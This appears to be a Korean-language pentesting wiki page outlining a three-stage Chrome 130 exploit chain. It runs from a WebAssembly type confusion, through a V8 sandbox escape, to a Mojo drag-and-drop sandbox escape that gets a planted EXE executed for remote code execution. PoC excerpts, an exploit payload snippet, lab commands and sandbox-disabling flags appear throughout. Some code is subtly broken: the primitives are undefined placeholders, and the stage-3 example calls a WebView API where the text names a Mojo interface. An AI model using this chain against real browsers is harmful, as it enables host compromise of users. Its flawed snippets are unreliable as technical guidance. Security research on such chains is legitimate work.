Chrome Exploiting

이 페이지는 실용적인 현대 "풀 체인" 익스플로잇 워크플로우에 대한 높은 수준의 개요를 제공합니다. 이는 “101 Chrome Exploitation” 연구 시리즈를 기반으로 하며, Google Chrome 130에 대한 것입니다 (Part-0 — 서문). 목표는 펜테스터와 익스플로잇 개발자에게 자신의 연구를 위해 기술을 재현하거나 조정하는 데 필요한 최소한의 배경 지식을 제공하는 것입니다.

1. Chrome Architecture Recap

공격 표면을 이해하려면 코드가 실행되는 위치와 적용되는 샌드박스를 알아야 합니다.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

• V8 sandbox (Isolate): 메모리 권한이 제한되어 JITed JS / Wasm에서 임의의 읽기/쓰기를 방지합니다.
• Renderer ↔ Browser split는 Mojo/IPC 메시지 전달을 통해 보장됩니다; 렌더러는 네이티브 FS/네트워크 접근이 없습니다.
• OS sandboxes는 각 프로세스를 추가로 포함합니다 (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

따라서 원격 공격자는 세 가지 연속적인 프리미티브가 필요합니다:

1. V8 내부의 메모리 손상을 통해 V8 힙 내에서 임의의 RW를 얻습니다.
2. 공격자가 V8 샌드박스를 탈출하여 전체 렌더러 메모리에 접근할 수 있게 하는 두 번째 버그.
3. Chrome OS 샌드박스 외부에서 코드를 실행하기 위한 최종 샌드박스 탈출 (종종 메모리 손상보다는 논리적).

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

TurboFan의 Turboshaft 최적화에서 WasmGC 참조 유형이 단일 기본 블록 루프 내에서 값이 생성되고 소비될 때 잘못 분류되는 결함입니다.

효과:

• 컴파일러가 타입 검사를 건너뛰고, 참조 (externref/anyref)를 int64로 처리합니다.
• 조작된 Wasm은 JS 객체 헤더와 공격자가 제어하는 데이터를 겹치게 할 수 있습니다 → addrOf() & fakeObj() AAW / AAR 프리미티브.

최소 PoC (발췌):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

트리거 최적화 및 JS에서 객체 스프레이:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: 임의 읽기/쓰기 V8 내에서.

3. Stage 2 – V8 샌드박스 탈출 (문제 379140430)

Wasm 함수가 tier-up-컴파일될 때, JS ↔ Wasm 래퍼가 생성됩니다. 서명 불일치 버그로 인해 래퍼가 Wasm 함수가 스택에 있는 동안 재최적화될 때 신뢰된 Tuple2 객체의 끝을 넘어 쓰게 됩니다.

Tuple2 객체의 2 × 64비트 필드를 덮어쓰면 렌더러 프로세스 내의 모든 주소에 대한 읽기/쓰기가 가능해져 V8 샌드박스를 효과적으로 우회합니다.

익스플로잇의 주요 단계:

1. 터보팬/베이스라인 코드를 번갈아 사용하여 함수를 Tier-Up 상태로 만듭니다.
2. 스택에서 참조를 유지하면서 tier-up을 트리거합니다 (Function.prototype.apply).
3. Stage-1 AAR/AAW를 사용하여 인접한 Tuple2를 찾고 손상시킵니다.

래퍼 식별:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

부패 후 우리는 완전한 기능을 갖춘 렌더러 R/W 원시를 소유하게 됩니다.

4. 단계 3 – 렌더러 → OS 샌드박스 탈출 (CVE-2024-11114)

Mojo IPC 인터페이스 blink.mojom.DragService.startDragging()는 부분적으로 신뢰할 수 있는 매개변수로 렌더러에서 호출될 수 있습니다. 임의의 파일 경로를 가리키는 DragData 구조체를 조작함으로써 렌더러는 브라우저가 네이티브 드래그 앤 드롭을 렌더러 샌드박스 외부에서 수행하도록 설득합니다.

이를 악용하여 우리는 프로그래밍적으로 악성 EXE(이전에 세계 쓰기 가능한 위치에 드롭된)를 바탕화면으로 “드래그”할 수 있으며, 여기서 Windows는 드롭된 특정 파일 유형을 자동으로 실행합니다.

예시 (단순화됨):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

추가적인 메모리 손상이 필요하지 않습니다 – 논리 결함이 사용자 권한으로 임의 파일 실행을 가능하게 합니다.

5. 전체 체인 흐름

1. 사용자가 악성 웹페이지를 방문합니다.
2. 1단계: Wasm 모듈이 CVE-2025-0291을 악용합니다 → V8 힙 AAR/AAW.
3. 2단계: 래퍼 불일치가 Tuple2를 손상시킵니다 → V8 샌드박스를 탈출합니다.
4. 3단계: startDragging() IPC → OS 샌드박스를 탈출하고 페이로드를 실행합니다.

결과: 호스트에서 원격 코드 실행 (RCE) (Chrome 130, Windows/Linux/macOS).

6. 실험실 및 디버깅 설정

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Chrome의 개발 빌드를 실행할 때 유용한 플래그:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Takeaways

• WebAssembly JIT 버그는 여전히 신뢰할 수 있는 진입점입니다 – 타입 시스템은 아직 젊습니다.
• V8 내부에서 두 번째 메모리 손상 버그(예: 래퍼 불일치)를 얻는 것은 V8 샌드박스 탈출을 크게 단순화합니다.
• 특권 Mojo IPC 인터페이스의 논리 수준 약점은 종종 최종 샌드박스 탈출에 충분합니다 – 비메모리 버그에 주목하세요.

References

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromium 보안 아키텍처